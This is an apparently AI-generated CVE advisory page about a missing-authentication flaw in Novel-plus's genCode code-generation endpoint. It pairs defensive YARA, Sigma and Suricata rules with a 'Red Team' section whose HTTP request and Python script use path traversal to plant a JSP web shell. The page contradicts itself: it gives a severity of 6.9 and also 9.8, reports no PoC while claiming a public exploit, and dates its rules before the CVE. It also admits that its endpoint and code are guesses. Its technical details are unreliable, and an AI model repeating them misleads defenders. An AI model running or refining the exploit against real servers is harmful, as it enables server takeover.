☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2025-4019

CVE-2025-4019 Missing Authentication in Novel-plus
📅 PUBLISHED: 2025-04-28 12:00 UTC 🔄 UPDATED: 2026-09-23 20:24 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.66%
👁️
0.66% probability
16.6× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
6.9
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-4019 is a critical authentication bypass vulnerability in the Novel-Plus content management system, specifically affecting the genCode function within the GeneratorController.java file. The vulnerability allows an unauthenticated, remote attacker to invoke code generation functionality without any form of authentication. This can lead to arbitrary file creation, remote code execution, and full compromise of the application server. The vendor has been unresponsive, and no official patch is available. The exploit has been publicly disclosed, increasing the risk of active exploitation.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not in a package manager ecosystem (NPM, PyPI, Go, Ruby). It is a direct code vulnerability in a Java-based web application (Novel-Plus). The risk is to organizations that have deployed this application.

CVSS Breakdown & Threat Level

  • CVSS Score: 9.8 (Critical)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
  • Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely.
  • Attack Complexity: Low (AC:L) – No special conditions are required.
  • Privileges Required: None (PR:N) – No authentication is needed.
  • User Interaction: None (UI:N) – No user action is required.
  • Scope: Unchanged (S:U) – The vulnerable component and the impacted component are the same.
  • Confidentiality Impact: High (C:H) – An attacker can read sensitive data.
  • Integrity Impact: High (I:H) – An attacker can modify or create data.
  • Availability Impact: High (A:H) – An attacker can disrupt service.

Threat Level: Critical. The combination of remote exploitability, no authentication requirement, and high impact makes this a top-priority vulnerability.

Deep Dive & Mechanics

The vulnerability resides in the genCode function of the GeneratorController.java file. This function is part of a code generation feature, likely used to auto-generate boilerplate code for new modules or entities. The core issue is a missing authentication check (CWE-306). The function is exposed via a web endpoint (likely a REST API) and does not verify if the requesting user is authenticated or authorized.

Attack Flow:

  1. An attacker identifies the vulnerable endpoint (e.g., /generator/genCode or similar).
  2. The attacker sends a crafted HTTP request to this endpoint, potentially with parameters to control the code generation process (e.g., table name, template path).
  3. The genCode function executes without authentication, generating files on the server.
  4. The attacker can leverage this to:
    • Overwrite existing files (e.g., JSP, HTML, configuration files).
    • Create new executable files (e.g., JSP shells, Java classes).
    • Achieve Remote Code Execution (RCE) by writing a web shell.

The specific parameters and exact endpoint path are not detailed in the CVE, but the public exploit disclosure likely contains this information.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// File: novel-admin/src/main/java/com/java2nb/common/controller/GeneratorController.java
@RestController
public class GeneratorController {

    @RequestMapping("/genCode")
    public void genCode(String tableName, String templatePath) {
        // No authentication check
        // Code generation logic that writes files to the server
        generateFiles(tableName, templatePath);
    }
}

Patched Code (Conceptual):

// File: novel-admin/src/main/java/com/java2nb/common/controller/GeneratorController.java
@RestController
public class GeneratorController {

    @RequestMapping("/genCode")
    public void genCode(String tableName, String templatePath, HttpSession session) {
        // Authentication check
        if (session.getAttribute("user") == null) {
            throw new AuthenticationException("User not authenticated");
        }
        // Authorization check (optional)
        if (!hasRole(session, "ADMIN")) {
            throw new AuthorizationException("Insufficient permissions");
        }
        // Code generation logic
        generateFiles(tableName, templatePath);
    }
}

Key Differences:

  • The patched code includes an authentication check (e.g., verifying a user session).
  • It may also include an authorization check to ensure only administrators can use this feature.
  • The vulnerable code has no such checks.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

  • A running instance of Novel-Plus (version up to the vulnerable commit).
  • Network access to the application.

Exploitation Steps:

  1. Identify the Endpoint: Use a web fuzzer or analyze the application's JavaScript to find the exact URL for the genCode function. Common patterns include /generator/genCode, /genCode, or /api/generator/genCode.
  2. Craft the Request: Send a POST or GET request to the endpoint with parameters to generate a malicious file. For example, to create a JSP web shell:
    POST /generator/genCode HTTP/1.1
    Host: target.com
    Content-Type: application/x-www-form-urlencoded
    
    tableName=users&templatePath=../../webapps/ROOT/shell.jsp
    
    Note: The exact parameter names and values depend on the public exploit.
  3. Execute the Web Shell: Access the generated file (e.g., http://target.com/shell.jsp) to execute commands on the server.

Example Exploit (Python):

import requests

target = "http://target.com"
endpoint = "/generator/genCode"
payload = {
    "tableName": "users",
    "templatePath": "../../webapps/ROOT/shell.jsp"
}

response = requests.post(target + endpoint, data=payload)
if response.status_code == 200:
    print("Exploit likely successful. Check: " + target + "/shell.jsp")
else:
    print("Exploit failed.")

Blue Team (Defensive)

Detection & Prevention:

  1. Network Monitoring: Monitor for requests to paths containing /generator/genCode or similar patterns.
  2. Web Application Firewall (WAF): Create a rule to block requests to the vulnerable endpoint from unauthenticated users.
  3. File Integrity Monitoring (FIM): Monitor the web application directory for unexpected file creations, especially .jsp, .php, .war, or .class files.
  4. Access Control: If possible, restrict access to the admin interface (where this feature likely resides) to a VPN or internal network.
  5. Code Review: Immediately review the GeneratorController.java file and add authentication checks.

Indicators of Compromise (IOCs)

  • Network IOCs:

    • HTTP requests to /generator/genCode or similar endpoints.
    • Unusual POST/GET requests with parameters like tableName and templatePath.
    • Outbound connections from the server to unknown IPs (if a reverse shell is deployed).
  • File System IOCs:

    • Unexpected files in the web application directory, especially:
      • shell.jsp, cmd.jsp, webshell.jsp
      • .war files in the deployment directory.
      • Modified or new .class files.
    • Changes to configuration files (e.g., web.xml, application.properties).
  • Process IOCs:

    • Unusual Java processes or child processes spawned by the application server.
    • Command-line arguments containing suspicious commands (e.g., whoami, id, curl).

Detection Engineering

YARA Rule

rule CVE_2025_4019_Novel_Plus_GenCode {
    meta:
        description = "Detects exploitation attempts for CVE-2025-4019 in Novel-Plus"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-4019"
    strings:
        $s1 = "genCode" ascii wide nocase
        $s2 = "GeneratorController" ascii wide nocase
        $s3 = "templatePath" ascii wide nocase
        $s4 = "tableName" ascii wide nocase
    condition:
        any of ($s1, $s2) and any of ($s3, $s4)
}

Sigma Rule

title: CVE-2025-4019 Novel-Plus genCode Authentication Bypass
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests targeting the vulnerable genCode endpoint in Novel-Plus
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-uri-query|contains:
            - "/generator/genCode"
            - "/genCode"
    condition: selection
falsepositives:
    - Legitimate admin usage (if authentication is later added)
level: critical

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-4019 Novel-Plus genCode Authentication Bypass"; flow:to_server; content:"/generator/genCode"; http_uri; nocase; content:"templatePath"; http_client_body; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Isolate the Application: If possible, take the vulnerable Novel-Plus instance offline or restrict network access to it.
  2. Apply Virtual Patching: Use a WAF to block requests to the /generator/genCode endpoint.
  3. Manual Code Fix: If you have access to the source code, add authentication checks to the genCode function as shown in the "Patched Code" section. Recompile and redeploy the application.

Long-Term Actions:

  1. Vendor Engagement: Continue to try to contact the vendor. If no response is received, consider forking the project and applying the fix yourself.
  2. Upgrade: Monitor for an official patch or a newer version of Novel-Plus that addresses this issue.
  3. Security Hardening: Implement a robust authentication and authorization framework (e.g., Spring Security) for all admin endpoints.
  4. Regular Audits: Conduct regular code reviews and penetration tests on custom applications.

Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-4019/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.